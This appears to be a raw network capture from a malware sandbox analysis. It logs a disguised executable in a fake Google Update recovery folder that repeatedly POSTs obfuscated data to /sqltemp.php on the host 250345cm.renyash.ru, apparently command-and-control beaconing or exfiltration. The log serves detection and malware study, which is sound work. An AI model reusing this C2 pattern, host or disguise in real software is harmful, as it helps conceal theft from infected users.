Jan 1, 2025 16:02:25.018347979 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vP59QyCWzAjqLUZTbbqXI2euXlbIM7HofppWPd24rXGvB8zsL4UTQwcproqmD13dzLXYl5u5yrLcNxA9PB7D%2Bju%2Bazcj1mWFCFFQpPa82nFtr%2BVfdfWhxjGgxsiLayY3FjjVFGwD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363e479304213-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4291&min_rtt=2422&rtt_var=4646&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=84028&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	62464	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:25.149293900 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:25.500757933 CET	1124	OUT	Data Raw: 53 52 5a 57 51 58 51 51 58 56 52 59 56 50 59 54 5b 53 54 5c 55 5d 50 55 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SRZWQXQQXVRYVPYT[ST\U]PUZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y&/)[713;C89S 0**8=(Y73(C%4.&Y.,Y-
Jan 1, 2025 16:02:25.624682903 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:25.881412983 CET	812	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RGr6IQoPR%2FTNb1USl%2Fu7ZuWQZf9o0yN1lSUmvHyeYhygfvfaz4PWFoRm%2FyML0Fo9%2FHxsiK26P5G%2B0E4FuocaqoRECNyWrO7coMfhL%2BhWG21YVFWfWwyz%2BB4w7EsYTm5u37KzSewD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363e9cf0943c8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4348&min_rtt=1753&rtt_var=5848&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=64837&cwnd=191&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	62469	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:26.008424997 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:26.373981953 CET	1124	OUT	Data Raw: 56 50 5f 5d 54 59 54 51 58 56 52 59 56 5c 59 53 5b 5b 54 5f 55 59 50 5f 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VP_]TYTQXVRYV\YS[[T_UYP_Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.^&,!#?=\'X$,"4.<+><X #Y(&1?;-&Y.,Y-5
Jan 1, 2025 16:02:26.473244905 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:26.740102053 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lBQlDTg0LgWMB0PFBE3xcxXlnqa92VKbrYMHwHSYyh7%2Byq7RbwWdMzh91ldiEUya6DVO%2F4Cbsd%2FLxOLjg6OOM6OjmsPNy39XnnL7syl0f3VO9%2FzjCaj9TgDn590U7k8VSkeVprrU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363ef2fe443e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4808&min_rtt=1799&rtt_var=6692&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=56433&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	62475	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:26.874149084 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:27.219669104 CET	1124	OUT	Data Raw: 56 52 5f 5c 54 50 54 53 58 56 52 59 56 58 59 56 5b 5c 54 5f 55 5c 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VR_\TPTSXVRYVXYV[\T_U\PZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.['/!X#%]3C/%V7=,_?90) (?)@&/?U-:&Y.,Y-%
Jan 1, 2025 16:02:27.317828894 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:27.593163967 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VFkPCLZC69uCuURuVMwgHCJTv0NKKW4zpUIgcfqvPfajhoEE98R%2FV5N7LL5WccOkt%2F3Cayk4xgGZmidOmHNceOKd2GkOwt%2BiIOsN46uHUe54Mok0VLsbk8S02mU5KAxO5gU5kJQf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363f47ddc7298-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4415&min_rtt=2000&rtt_var=5580&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=68470&cwnd=172&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	62483	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:27.736412048 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	62484	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:27.793709993 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1964 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:28.141597033 CET	1964	OUT	Data Raw: 56 54 5f 5d 51 5d 54 52 58 56 52 59 56 5e 59 5f 5b 5a 54 51 55 54 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VT_]Q]TRXVRYV^Y_[ZTQUTPYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y'/:7<&$-$,*9T#=(+)'S=$ 2,(+.$/'R-:&Y.,Y-
Jan 1, 2025 16:02:28.238744020 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:28.421642065 CET	949	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xhYboT85B3Fp8r3n5WDw0GWXGlB35vSRWmGxPgBBNoK0CljVFyU8RN09jrpETLohGC81Latt8jEMvb2s3vLKRfjVeGz%2FoPl9pZ3JkvbiDSCW17hOlPJekkFcJZAxAfIFpgJW2gGP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363fa3ada43ab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4760&min_rtt=2240&rtt_var=5880&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2266&delivery_rate=65178&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 25 56 29 13 29 0e 26 22 30 1e 28 3d 23 55 31 10 36 5d 28 01 32 59 27 2d 23 58 3d 39 2f 1e 22 2c 25 5b 24 28 3b 07 34 2e 2f 12 25 34 2b 59 05 1c 20 42 21 06 34 5f 29 5b 28 05 26 2c 29 59 24 3e 23 05 2a 38 3c 54 23 15 09 5e 33 04 3c 5b 2a 04 33 0e 27 2c 30 02 2f 2c 36 0c 26 3a 2c 54 00 11 26 57 30 0f 33 01 20 09 01 05 36 1f 31 5f 25 34 04 1a 24 2c 09 1b 37 00 2d 01 31 1c 27 5f 21 33 25 07 31 3b 2d 5c 34 03 2c 0a 3d 2e 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%V))&"0(=#U16](2Y'-#X=9/",%[$(;4./%4+Y B!4_)[(&,)Y$>#8<T#^3<[3',0/,6&:,T&W03 61_%4$,7-1'_!3%1;-\4,=.%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	62485	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:27.940432072 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:28.297775030 CET	1124	OUT	Data Raw: 53 57 5f 5c 54 50 54 51 58 56 52 59 56 5c 59 50 5b 58 54 50 55 5e 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SW_\TPTQXVRYV\YP[XTPU^P^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y0)Z ?Y'-(;=U48:+X7#23?+6&7S::&Y.,Y-5
Jan 1, 2025 16:02:28.394246101 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:28.651349068 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1ZAxmpP%2FiKBDXb3eRokpRaPpLWvQrffyCTFTjfTqtV4fLupW0EkWiT%2BGZJhokqSwhGBFNxmUceJ%2BGBdU%2B3end%2BCGk3llGBs75zni9cYsOwNdPJsHE0x3iVeCoANm%2FXlVsWUp2Kmj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363fb2e388c87-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8729&min_rtt=1979&rtt_var=14243&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=26079&cwnd=213&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	62491	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:28.791610003 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:02:29.141484022 CET	1124	OUT	Data Raw: 56 54 5f 5d 54 50 54 57 58 56 52 59 56 51 59 50 5b 59 54 5b 55 5e 50 5d 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VT_]TPTWXVRYVQYP[YT[U^P]Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.['=Y7?1X'<.:.#.3+7W4+X?(9&?7-&Y.,Y-
Jan 1, 2025 16:02:29.234605074 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:29.491276026 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dkspYOrYTwhsutXI0T9bvnOTDiY0hx3v1tbNd4earlszUvykHV%2BtvIePaklC0cB81JNQoYGNwYOn%2BHyvKa5%2Bl7kQtwvJlUnn13Jq9rU9bnICAwgVGb2BbVA2iOdLUTnohiyiY8c%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364006a84c335-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6602&min_rtt=1616&rtt_var=10579&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=35171&cwnd=164&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	62498	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:29.631804943 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:29.985229969 CET	1124	OUT	Data Raw: 56 52 5a 53 51 58 51 55 58 56 52 59 56 5e 59 53 5b 5a 54 58 55 58 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VRZSQXQUXVRYV^YS[ZTXUXPYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-3/#!_$+.:=7>$93>7 ++:$,;V9:&Y.,Y-
Jan 1, 2025 16:02:30.106494904 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:30.294955969 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q%2Bpoa%2F7atg6TrlgOjzJBV%2FscUEsVYa82j2KI%2B9wfDyFRGpLOw2Cu%2FPR4iS6GVEkecRM5LHcy%2BfB5oeYHktsu0yc1SQuJS3nqC7EYeq0EiFZeND7sopHq9lkJpRBP46LXOAf7ngYy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36405d83e43f7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8357&min_rtt=2446&rtt_var=12739&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=29355&cwnd=212&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	62504	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:30.503562927 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:30.860203028 CET	1124	OUT	Data Raw: 56 55 5f 50 51 5b 51 56 58 56 52 59 56 5a 59 52 5b 5f 54 58 55 5e 50 5b 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VU_PQ[QVXVRYVZYR[_TXU^P[Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y0?6#=3 /\>#)V$Y4"?;%1/V9*&Y.,Y--
Jan 1, 2025 16:02:30.957477093 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:31.220752001 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rhfr1DQ%2BkTIoJGWR3g0Z5G6xdGL%2F%2Br46Bx6OHVCHU0501HGD3yw7cXwcG2fnm3YDeuWKQL7cODtyjVgJb6mu3qCzmdQ%2B7TPIxCErXdlM7sYmkHbkRxapxUnSbSpb3J%2BPnTzfccl6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3640b3ddb421f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4820&min_rtt=2010&rtt_var=6375&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=59599&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	62511	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:31.363782883 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:31.719568014 CET	1124	OUT	Data Raw: 53 52 5f 55 54 58 51 56 58 56 52 59 56 5c 59 52 5b 5c 54 5b 55 5a 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SR_UTXQVXVRYV\YR[\T[UZPZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-0X41_',!T#<^+94># ;5C1V.*&Y.,Y-5
Jan 1, 2025 16:02:31.808577061 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:32.077609062 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZS6XVbu4I4a0I%2B12Mqf%2B6X8bFwf0Bzg49EtY7s2Bpt8VB72qlsqpXooBIXuCiLQWMa4hZts44EcW%2BajrcORtycMPYp35rSQsEmXvmn%2FMnxiZpyykg1x7B2CICh2YyHzTFHZBOsjv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364108923c329-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2007&min_rtt=1658&rtt_var=1320&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=327942&cwnd=147&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	62519	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:32.223767042 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
